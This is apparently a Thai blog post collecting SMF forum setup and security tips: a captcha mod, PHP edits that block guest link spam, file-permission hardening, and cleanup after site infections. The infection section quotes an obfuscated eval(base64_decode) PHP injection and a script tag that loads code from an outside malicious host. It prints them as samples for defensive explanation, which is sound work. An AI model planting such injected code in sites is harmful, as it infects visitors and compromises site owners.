วันศุกร์ที่ 18 กุมภาพันธ์ พ.ศ. 2554

Visual Verification Options

download mod 
http://custom.simplemachines.org/mods/index.php?mod=734

Features
--------
- Prompt for verification on posts by guests
- Prompt for verification on searches by guests
(น่าจะทำงานกับบุคคลทั่วไปเท่านั้น)


ลองติดตั้งอย่างธรรมดาแล้ว แต่ไม่แสดงผล  
เพราะภาษายังไม่เข้ากัน  ต้องไปแก้ให้ไฟล์ภาษาแสดงผล

ค้นหาไฟล์  Modifications.thai.php  หรือ ม็อดดิฟิเคชั่น.ไทย-ยูทีเอฟ8


เพิ่ม

โค๊ด:
$txt['visual_verification_guest_post'] = 'Require image verification on all guest posts';
$txt['visual_verification_guest_search'] = 'Enable visual verification for search by guests';
$txt['error_visual_verification_failed'] = 'The letters you typed don\'t match the letters that were shown in the picture.';

ไว้ก่อนหน้า
โค๊ด:
?>

จากนั้นไปที่  ผู้ดูแล  - หัวข้อ กระทู้  -  ตั้งค่าให้เปิดใช้งานเรียกหาโค๊ดสำหรับบุคคลทั่วไป


จากที่ได้ทดลองทำ  สามารถแสดงผลเป็นอย่างดีในขั้นตอนการโพสต์ ตั้ง-ตอบ กระทู้โดยบุคคลทั่วไป
แต่การค้นหายังไม่สามารถทำได้  แต่คิดว่าคงไม่มีความจำเป็นเท่าไหร่ที่จะป้องกัน ไม่ให้บุคคลทั่วไปค้นหา
1.สามารถปิดไม่ให้บุคคลทั่วไปค้นหาได้จาก การแก้ไขการอนุญาตอยู่แล้ว
2.การค้นหานั้นมีผลอย่างเดียวคือแบนวิธ  หากไม่มีความจำเป็น อาจไม่ต้องป้องกันก็ได้


หากทำแล้วไม่แสดงผล  ก็คงต้องใช้การลงแบบเมนวล

การเพิ่มคำสั่งบล็อกบ็อท spam (ลิตเติลแคท)

อ้างถึง

การเพิ่มคำสั่งบล็อกบ็อท spam

ในกรณีที่เจอปัญหาบ็อทโพสกระทู้ที่ทิ้งลิงค์ไว้ เราสามารถเพิ่มสคริปคำสั่งบล็อกการโพสกระทู้เหล่านั้นด้วยผู้ใช้งานที่ไม่ล็อกอิน (บ็อท)


ในไฟล์ /Sources/Post.php
ค้นหาส่วนนี้้

อ้างถึง
if (empty($modSettings['guest_post_no_email'])) { if (!isset($_REQUEST['email']) || $_REQUEST['email'] == '') $context['post_error']['no_email'] = true; elseif (preg_match('~^[0-9A-Za-z=_+\-/][0-9A-Za-z=_\'+\-/\.]*[แอท][\w\-]+(\.[\w\-]+)*(\.[\w]{2,6})$~', stripslashes($_REQUEST['email'])) == 0) $context['post_error']['bad_email'] = true; }


เพิ่มส่วนนี้ไว้ต่อท้าย

อ้างถึง
//  ป้องกัน Spam
$linkpos = strpos ($_POST['message'], "://"); // look for :// 
if ($linkpos !== false) $context['post_error']['guest_no_link'] = true; else { $linkpos = strpos ($_POST['message'], "www."); // look for www. 
if ($linkpos !== false) $context['post_error']['guest_no_link'] = true;}


ในไฟล์เดียวกัน ค้นหาส่วนนี้

อ้างถึง
// Now make sure this email address is not banned from posting.
isBannedEmail($_POST['email'], 'cannot_post', sprintf($txt['you_are_post_banned'], $txt[28]));


เพิ่มส่วนนี้ต่อท้าย

อ้างถึง
// ป้องกัน Spam
 if (isset($_POST['message'])) { $linkpos = strpos ($_POST['message'], "://"); 
// look for :// 
 if ($linkpos !== false) $post_errors[] = 'guest_no_link'; else { $linkpos = strpos ($_POST['message'], "www."); 
// look for www. 
 if ($linkpos !== false) $post_errors[] = 'guest_no_link'; } }


ทีนี้ บุคคลทั่วไป หรือผู้ใช้งานใดๆ ก็ตามที่ไม่ได้ล็อกอิน ก็จะไม่สามารถตั้งกระทู้ที่มี :// หรือ www. (ตามที่ตั้งค่าไว้) ได้





การเพิ่มเหตุผลของข้อผิดพลาด

เมื่อเราเพิ่มคำสั่งบล็อกการโพสลิงค์แล้ว เรายังสามารถแนบเหตุผลของข้อผิดพลาดดังกล่าวได้ด้วยการเพิ่มสคริป

จากเดิมที่ไม่แสดงเหตุผลใดๆ 
ปรากฎข้อผิดพลาดตังต่อไปนี้ขณะส่งข้อความนี้:



ในไฟล์ /Themes/default/languages/Errors.thai.php
เพิ่มส่วนนี้ไว้ต่อท้าย

อ้างถึง
//  ป้องกัน Spam
$txt['error_guest_no_link'] = 'ขออภัย  บุคคลทั่วไปไม่สามารถโพสลิงค์ได้  กรุณาลงทะเบียน';


ผลสุดท้าย เมื่อมีบุคคลทั่วไปทำการตั้งกระทู้ด้วยเนื้อหาที่มีลิงค์ ก็จะได้ผลดังนี้

วิธีปกป้องเว็บบอร์ด SMF ให้ปลอดภัย

รบกวนท่านสมาชิกทุกท่าน  ช่วยแนะนำวิธี  หรือแนวทางป้องกันเว็บบอร์ด SMF จากแฮกเกอร์  หรือพวกชอบลองของด้วยครับ  ว่าควรทำอย่างไร?  ผมมือใหม่จริงๆ ครับ  ตอนนี้ทำเว็บแล้วรู้สึกหวั่นๆ เหมือนกัน

เห็นใน thai smf บางคนบอกให้เปลี่ยน chmode 777  เป็น  755  หลังจากลงบอร์ดแล้ว (จำได้แค่นี้ครับ)

ขอบคุณทุกความคิดเห็นครับ


1.chmode 777  เป็น  755 
2.พาสเวิดเอฟทีพี+พาสดาต้าเบส ก็ให้ยากหน่อย
3.ไฟล์อินสตอลต้องลบออก  
4.สำรองฐานข้อมูลและไฟล์อินเด็ก+เซ็ตติ้ง เป็นประจำ 


รบกวนท่านเซียวเหล่งนึ่ง  อธิบายขั้นตอนและวิธีการ ข้อ 1 กับ ข้อ 4  แบบละเอียดนิดนึงได้ไหมขอรับ  นายท่าน  

1.chmode 777  เป็น  755
> 777 คือ All permission (Read + Execute + Write)
  755 คือ Read + Execure (เปิดไฟล์ php ได้ , รันสคริป php ได้)
# ทำบน Control panel ของโฮสที่ใช้ หรือโดยโปรแกรม FTP (ถ้าโฮสรองรับคำสั่งนั้นๆ)

4.สำรองฐานข้อมูลและไฟล์อินเด็ก+เซ็ตติ้ง เป็นประจำ 
> 1. สำรองฐานข้อมูล โดยเข้าไปเมนูผู้ดูแลระบบ , (* เมนูต่อจากนั้น จำไม่ได้ เพราะตอนนี้ในเครื่องี้ไม่มี SMF ที่ใช้ได้ซักตัว  )
    2. สำรองไฟล์ .php สำคัญไว้ทั้งหมด (Settings.php , index.php) หรือถ้าเป็นไปได้ ก็ให้สำรองให้หมดทั้งบอร์ดเลยก็ดี (ไฟล์ไม่ใหญ่ไปนักหรอก )


หากเกิดปัญหาจะเรียกใช้ไฟล์นี้ยังไงครับ?

จาก รวมกระทู้-ติดตั้ง-ปรับแต่ง [SMF]
http://www.justusers.net/forum/index.php?topic=988.0
(เซียวเหล่งนึ่ง แห่งสำนักสุสานโบราณ)

ทำคล้ายๆ กับหัวข้อนี้   
~ วิธีย้ายเว็บบอร์ด SMF ~ (TinaCat) 
http://www.justusers.net/forum/index.php?topic=17.0

สู้ๆ  


ไฟล์ Settings.php ให้เซ็ตเป็น ๗๕๕ ดีกว่า
chmod 777 อันตราย!

ไวรัสที่ติดเข้าเว็บ มาจากไหน? (ตอนที่ 3-เซียงเหล่งนึ่งฯ-จบ)

ตอนนี้มีมาอีกแบบ ไม่ใช่ iframe แล้ว  

โค๊ดประมาณนี้

โค๊ด:
eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygneHJndycpKXtmdW5jdGlvbiB4cmd3KCRzKX
tpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1
hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD
8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7a
WYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8f
CgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdf
bWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14 XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk I2lzJywkcywkYSkpZ
?php

ถ้าเป็น เอชทีเอมแอล ในโฮสต์เดียวกันก็จะติด

โค๊ด:
<script src=http://forums.indianmoneyplus.com/cgi-bin/profile-edit.php ></script>


ปัญหาเพราะเครื่องพีซีที่ใช้ทำเว็บ ติดไวรัสหรือโทรจันชนิดนี้  
พอใช้เครื่องต่อ เอฟทีพี ปุ๊บ  ก็จะถูกแคปรหัสผ่านเอฟทีพีทันที  
แล้วส่งกลับให้เซิฟเวอรืของโทรจันนั้น   จากนั้นก็จะแทรกสคริป แล้วอัพไฟล์มาทับของเรา 
รวมถึงทำให้เปร์มิสชั่นเพี้ยนไปด้วย  

วิธีแก้  
1. ลบ หรือแก้พาสเวิดเอฟทีพี 
2. ฟอร์แมตพีซีตัวปัญหา  (ต้องหาเองเองว่าเป็นของใคร ในกรณีแอดมินหลายคน) 
    ต้องฟอแม็ตเพราะมันคงฝังตัวจนแอนติไวรัสของเครื่องไม่สามารถจัดการได้ 
3. ฟลังจากฟอแม็ตเครื่อง ต่อเอฟทีพีใหม่ แล้วไล่แก้โค๊ดไวรัสออกให้หมด  
4. เปอมิสชั่นไฟล์ 644  โฟลเดอร์ 755

วิธีป้องกัน  
1. เครื่องที่ใช้ทำเว็บ   ให้ใช้ ไออี8 โครม หรือหมาย่าง  (ไออี6 ห้ามเด็ดขาด) 
2. ถ้าเป็นเอ็กพี เป็นไปได้ให้ใช้  แพ็ค3  


ถ้ามี Webmaster หลายคน และใช้ FTP เดียวกัน นั่นแหละไวรัสมาจากคนใดคนหนึ่ง

ใช้ Google Webmaster Tools ช่วยหาไวรัส และแจ้งยกเลิกว่ามีไวรัส

ไวรัสที่ติดเข้าเว็บ มาจากไหน? (ตอนที่ 2-เซียงเหล่งนึ่งฯ)

การแพร่กระจายมี 2 แบบ 
1. แบบไวรัส แบบนี้ไม่น่ากลัว ถ้าในเครื่องคนทำเว็บมีแอนติไวรัสที่ดีพอ
    ทดสอบได้โดยการอัพไฟล์แล้ว ลองโหลดกลับมาเช็ค  ปกติมักจะเป็นกับเครื่องเซิฟเวอร์มากกว่า
    เพราะมันจะกินไฟล์ นามสกุลนั้นๆ ในโอเอสที่มันทำงานได้ เช่น .พีเอชพี  ในลีนุก

    พูดง่ายๆคือถ้าเครื่องเซิฟเวอร์ของเราหรือของโฮสต์ติด มันก็จะติดทุกไฟล์นามสกุลนั้นๆ-ทุกเว็บ-
    แก้โดยโดยการใช้คำสั่งจิปาถะของลีนุกแต่มันเสียเวลา โดยมากเขาก็ฟอร์แม็ตกัน
    แต่มันเดือดร้อนคนทำเว็บที่อยู่ในเครื่องนั้น  

2. แบบเจตนาปล่อย  แบบนี้ก็มี โดนกันมาเยอะ แฮ็คแล้วก็ทิ้งชื่อตัวเองไว้ให้เจ้าของเว็บด่าเล่นๆ 
    หรือแค่ปล่อยสคริปมาฝังในไฟล์เท่านั้น เกิดขึ้นได้ยังไง 

    แน่นอนพาสเวิดเอฟทีพี เป็นสิ่งที่ควรดูเป็นอันดับแรกตามหลักการ  แต่ต่อให้เขาไม่มีพาสเวิดเอฟทีพี 
    เขาก็เจาะได้ถ้าเราเปอร์มิสชั่นเป็น 777 ทิ้งเอาไว้ 


อื่นๆ

ใช่ครับโดนไวรัส 
โซนไอทีก็เคยเจอ
http://svz.in.th/node/virus-in-zone-it.html

ครับ แล้วไม่ทราบว่ามีวิธีีแก้ไขหรือป้องกันยังไงครับ ผมเพิ่งเข้าไปลบสคริปท์มันออกไป (ลบด้วยมือ) ทุกไฟล์ index และเซ็ท chmod เป็น 644 ส่วนโฟลเดอร์เป็น 755 และรีเซ็ท pass เข้า FTP ใหม่ น่าจะพอเพียงรึยังครับเนี่ย 


แก้ได้แล้วครับ ผมเจอโค้ด html แทรกในบรรทัดสุดท้ายในไฟล์ index.php ทุกหน้า ไม่รู้มันมาได้ยังไง พอลบออกก็หายแล้วครับ

สแปม.. เอชทีเอ็มแอล  

การทำงาน 
มันจะแทรกโค๊ด ไอเฟรม.. เข้าไปในทุกไฟล์ที่เป็นอินเด็ก

ผลกระทบ 
แอนติไวรัสจะมองว่าไฟล์เหล่านั้นคือโทรจัน 

แก้ปัญหา
- ลบด้วยมือ ทุกไฟล์ที่มีคำว่าอินเด็ก
- รันสคริปพีเอชพี ลบบรรทัดนี้ออก (อันนี้ทำไม่เป็น

การป้องกัน
ไม่เซ็ต 777 



สแปมกากพวกนี้ทำงานคล้ายกัน 
กินไฟล์เซ็ตติ้งมั่ง กินไฟล์อินเด็กมั่ง

อยู่ที่เราผู้ดูแลเว็บจะรอบคอบไหม
บางคน chmod 777 จนเคยชิน หรือเปลี่ยน 777 เพื่อให้ทำงานง่ายขึ้น
แต่ดันลืมเปลี่ยนกลับ  พอโดนสแปมทีก็อ้วกเลย

อย่าง เอสเอ็มเอฟ นึกดูว่ามีไฟล์อินเด็กกี่ไฟล์ ..  แทบจะทุกโฟลเดอร์ นั่งลบ นั่งอัพ 
ใช้เวลาเป็นชั่วโมง 

ดังนั้นการเปอร์มิสชั่น chmod จึงสำคัญ
Read  อ่าน 
Write  เขียน 
Execute ประมวลผล 
ถ้า 777 ก็จะหมายถึง ใครก็ได้จากไหนก็ได้ อ่านเว็บเราได้ เขียนไฟล์ทับหรืออัพได้ ประมวลผลไฟล์ต่างๆได้ 



   ข้อสังเกตุอีกข้อ 1 คือ โดน SPAM HTML แล้วสำหรับบร์อด smf จะกดแสดงตัวอย่างไม่ได้ 


justusers.net/forum/index.php?topic=2633.0

ปัญหาอีกอย่างคือ ถ้า โดน SPAM HTML แล้ว ตัวสะแกนของคนที่เข้าประจำจะไม่แสดงเลย

จริงหรือเปล่า 

1. ไม่เคยสังเกตุเหมือนกันว่าเว็บที่โดนจะมีอาการพิเศษแบบไม่แสดงตัวอย่างไหม 
ต้องลองเว็บของคนอื่นๆที่โดนเข้าไปว่ามีอาการคล้ายของท่านเทนโด ตามกระทู้ 2633.0 หรือไม่
หรืออีกอย่าง เอาโค๊ดไปแปะเว็บตัวเองแล้วลองเลย 555+ (อันนี้อย่าทำดีกว่า)

2.ตัวสะแกนของคนที่เข้าประจำจะไม่แสดงเลย 
** ไม่ใช่แน่นอน ถ้าแอนติไวรัสยังสุขภาพดีอยู่  เข้าแล้วมันต้องเด้งแน่นอน
ทั้งแอนติไวรัส แอนติสปายแวร์เด้งหมดแหละ 

อีกอย่างคือไม่รู้ว่ามันมีการส่งสคริปออกไปไหม หรือส่งเมล์หรือเปล่า 
ถ้ามันมีการส่ง เดี๋ยวทางโฮสต์อาจจะส่ง จดหมายรัก มาหาเราได้


อ้างถึง
โทรจันมาจากไหน
มาจากการอัพไฟล์ที่มีโทรจันขึ้นโฮสต์ โดยอาจจะรู้เท่าไม่ถึงการณ์  

เพราะฉะนั้นการให้สิทธิ์ใช้งานเอฟทีพี ควรพิจารณาให้ดีว่าจะให้ใครใช้ได้บ้าง
และไฟล์ธีมแปลกๆ หรือไฟล์ที่ไม่รู้จัก -ซอฟแวร์-คีเจน  ไม่ควรอัพขึ้นโฮสต์ 
เพราะนั่นจะเป็นต้นเหตุของสคริปแทรกพวกนี้


จะ777 ทั้งบอร์ดก็ได้ แต่ทำเสร็จแล้วก็ต้องกลับคืน 755 ไม่งั้นเสร็จได้ง่ายๆ 

หรือไม่อีกวิธีคือ ก่อนลงเราก็ดูซะก่อนว่ามันต้องใช้ไดเรคทอรี่ไหนบ้าง ก็ทำเฉพาะที่จำเป็นให้เป็น 777
เสร็จแล้วค่อยปรับคืน 

แต่ก็ยังมีบางโฟลเดอร์ที่ทำเสริม จำเป็นต้อง 777 ไว้ตลอด อย่างโฟลเดอร์อัพโหลด หรือแชท 

สำหรับ เอสเอ็มเอฟ การ 777 ทั้งบอร์ดก็แน่นอนว่าโดนสคริปไฟล์เอชทีเอ็มแอลแน่นอน 
ซีเอ็มเอสอย่างอื่นก็เหมือนกัน  นุ๊ก แมมโบ จุมลา  ขืน 777 ก็โดนแฮ็คทั้งนั้น
เวิดเพรส 777 ทิ้งไว้ บทความบล็อกที่เขียนมีสิทธิ์หายเกลี้ยง